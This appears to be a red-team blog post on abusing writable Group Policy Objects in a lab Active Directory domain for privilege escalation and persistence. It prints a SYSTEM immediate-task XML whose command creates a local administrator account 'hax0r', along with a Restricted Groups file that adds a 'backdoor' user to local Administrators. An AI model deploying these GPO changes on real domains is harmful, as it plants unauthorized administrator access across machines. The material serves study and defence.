Intro

Being able to write to a Group Policy Object affords you some interesting opportunities. Depending on circumstance, it can either be used as a priv esc vector - e.g. if you control a GPO that is applied to machines that have higher privileged accounts logged on; or as a persistence mechanism to maintain access to those machines.

Andy Robbins gives a brilliant overview in his A Red Teamer’s Guide to GPOs and OUs article, and highlights several abuse primitives that we should consider.

The bit we’re currently missing is an effective method of weaponising these ideas, outside of being able to use the Group Policy Management Console.

Will Schroeder made some ground when he published Abusing GPO Permissions and implemented New-GPOImmediateTask into PowerView.

Let’s take this as a bit of a case study, and see if we can build on the work…

Scheduled Tasks

First, we will want to create a new GPO and link it to our test OU.

PS C:\> New-GPO -Name "Demo GPO" | New-GPLink -Target "OU=Workstations,DC=testlab,DC=local"

GpoId       : 811e863b-1be4-498e-bc0e-c29fb11af99a
DisplayName : Demo GPO
Enabled     : True
Enforced    : False
Target      : OU=Workstations,DC=testlab,DC=local
Order       : 1

Create a new Immediate Task in Computer Configuration > Preferences > Control Panel Settings > Scheduled Tasks. In this example, we’ll create an action to add a new local user account and add it to the local administrators group.

Force a GPO update and verify the task was triggered.

PS C:\> gpupdate /target:computer /force
Updating policy...

Computer Policy update has completed successfully.
PS C:\> net user

User accounts for \\WKSTN01

-------------------------------------------------------------------------------
Administrator            DefaultAccount           Guest
hax0r
The command completed successfully.


PS C:\> net localgroup administrators
Alias name     administrators
Comment        Administrators have complete and unrestricted access to the computer/domain

Members

-------------------------------------------------------------------------------
Administrator
hax0r
LAB\Domain Admins
The command completed successfully.

Behind the Magician’s Curtain

If we have a look inside the SYSVOL directory for this GPO, we can see that it actually created ScheduledTasks.xml within \Machine\Preferences\ScheduledTasks.

PS C:\> ls "\\testlab.local\sysvol\testlab.local\Policies\{811E863B-1BE4-498E-BC0E-C29FB11AF99A}\Machine\Preferences\ScheduledTasks\"

    Directory:
    \\dc01\sysvol\testlab.local\Policies\{811E863B-1BE4-498E-BC0E-C29FB11AF99A}\Machine\Preferences\ScheduledTasks


Mode                LastWriteTime         Length Name
----                -------------         ------ ----
-a----       10/04/2018     20:06           1832 ScheduledTasks.xml

It doesn’t actually look like this, but I’ve cleaned it up to look more readable (if you can believe it).

<?xml version="1.0" encoding="utf-8"?>

<ScheduledTasks clsid="{CC63F200-7309-4ba0-B154-A71CD118DBCC}">
    <ImmediateTaskV2 clsid="{9756B581-76EC-4169-9AFC-0CA8D43ADB5F}" name="Evil Task" image="0" changed="2018-04-10 19:06:58" uid="{66305D26-9F45-445E-86B7-F945578F4746}">
        <Properties action="C" name="Evil Task" runAs="NT AUTHORITY\System" logonType="S4U">
            <Task version="1.3">
                <RegistrationInfo>
                    <Author>LAB\rastamouse</Author>
                    <Description></Description>
                </RegistrationInfo>
                <Principals>
                    <Principal id="Author">
                        <UserId>NT AUTHORITY\System</UserId>
                        <LogonType>S4U</LogonType>
                        <RunLevel>HighestAvailable</RunLevel>
                    </Principal>
                </Principals>
                <Settings>
                    <IdleSettings>
                        <Duration>PT10M</Duration>
                        <WaitTimeout>PT1H</WaitTimeout>
                        <StopOnIdleEnd>true</StopOnIdleEnd>
                        <RestartOnIdle>false</RestartOnIdle>
                    </IdleSettings>
                    <MultipleInstancesPolicy>IgnoreNew</MultipleInstancesPolicy>
                    <DisallowStartIfOnBatteries>true</DisallowStartIfOnBatteries>
                    <StopIfGoingOnBatteries>true</StopIfGoingOnBatteries>
                    <AllowHardTerminate>true</AllowHardTerminate>
                    <StartWhenAvailable>true</StartWhenAvailable>
                    <RunOnlyIfNetworkAvailable>false</RunOnlyIfNetworkAvailable>
                    <AllowStartOnDemand>true</AllowStartOnDemand>
                    <Enabled>true</Enabled>
                    <Hidden>false</Hidden>
                    <RunOnlyIfIdle>false</RunOnlyIfIdle>
                    <WakeToRun>false</WakeToRun>
                    <ExecutionTimeLimit>P3D</ExecutionTimeLimit>
                    <Priority>7</Priority>
                    <DeleteExpiredTaskAfter>PT0S</DeleteExpiredTaskAfter>
                </Settings>
                <Triggers>
                    <TimeTrigger>
                        <StartBoundary>%LocalTimeXmlEx%</StartBoundary>
                        <EndBoundary>%LocalTimeXmlEx%</EndBoundary>
                        <Enabled>true</Enabled>
                    </TimeTrigger>
                </Triggers>
                <Actions Context="Author">
                    <Exec>
                        <Command>c:\windows\system32\cmd.exe</Command>
                        <Arguments>/c "net user hax0r Passw0rd! /add &amp;&amp; net localgroup administrators hax0r /add"</Arguments>
                    </Exec>
                </Actions>
            </Task>
        </Properties>
    </ImmediateTaskV2>
</ScheduledTasks>

Going back and reviewing the PowerView source for New-GPOImmediateTask - we can see that it uses a similar XML template and writes it into the same path as we observed.

Going Further

So the basic methodolgy here is to make a GPO modification in the GPMC, see what files get dropped into SYSVOL and reverse engineer them. Let’s use Restricted Groups as another example.

This is found in Computer Configuration > Windows Settings > Security Settings > Restricted Groups and allows you to manipulate localgroup membership. One possibility is to add a domain account to the local admin group.

Or if you were a little crazy, make any authenticated user a local admin…

This particular configuration creates GptTmpl.inf in \Machine\Microsoft\Windows NT\SecEdit\.

PS C:\> cat "\\testlab.local\sysvol\testlab.local\Policies\{811E863B-1BE4-498E-BC0E-C29FB11AF99A}\Machine\Microsoft\Windows NT\SecEdit\GptTmpl.inf"

[Unicode]
Unicode=yes
[Version]
signature="$CHICAGO$"
Revision=1
[Group Membership]
*S-1-5-32-544__Memberof =
*S-1-5-32-544__Members = *S-1-5-21-1078383433-4142403703-1311514137-1105

Where S-1-5-32-544 is the SID of the local admin group and S-1-5-21-1078383433-4142403703-1311514137-1105 is the SID of my LAB\backdoor user account.

I have a conservative list of others I’ve looked at thus far in my GPO Abuse Repo.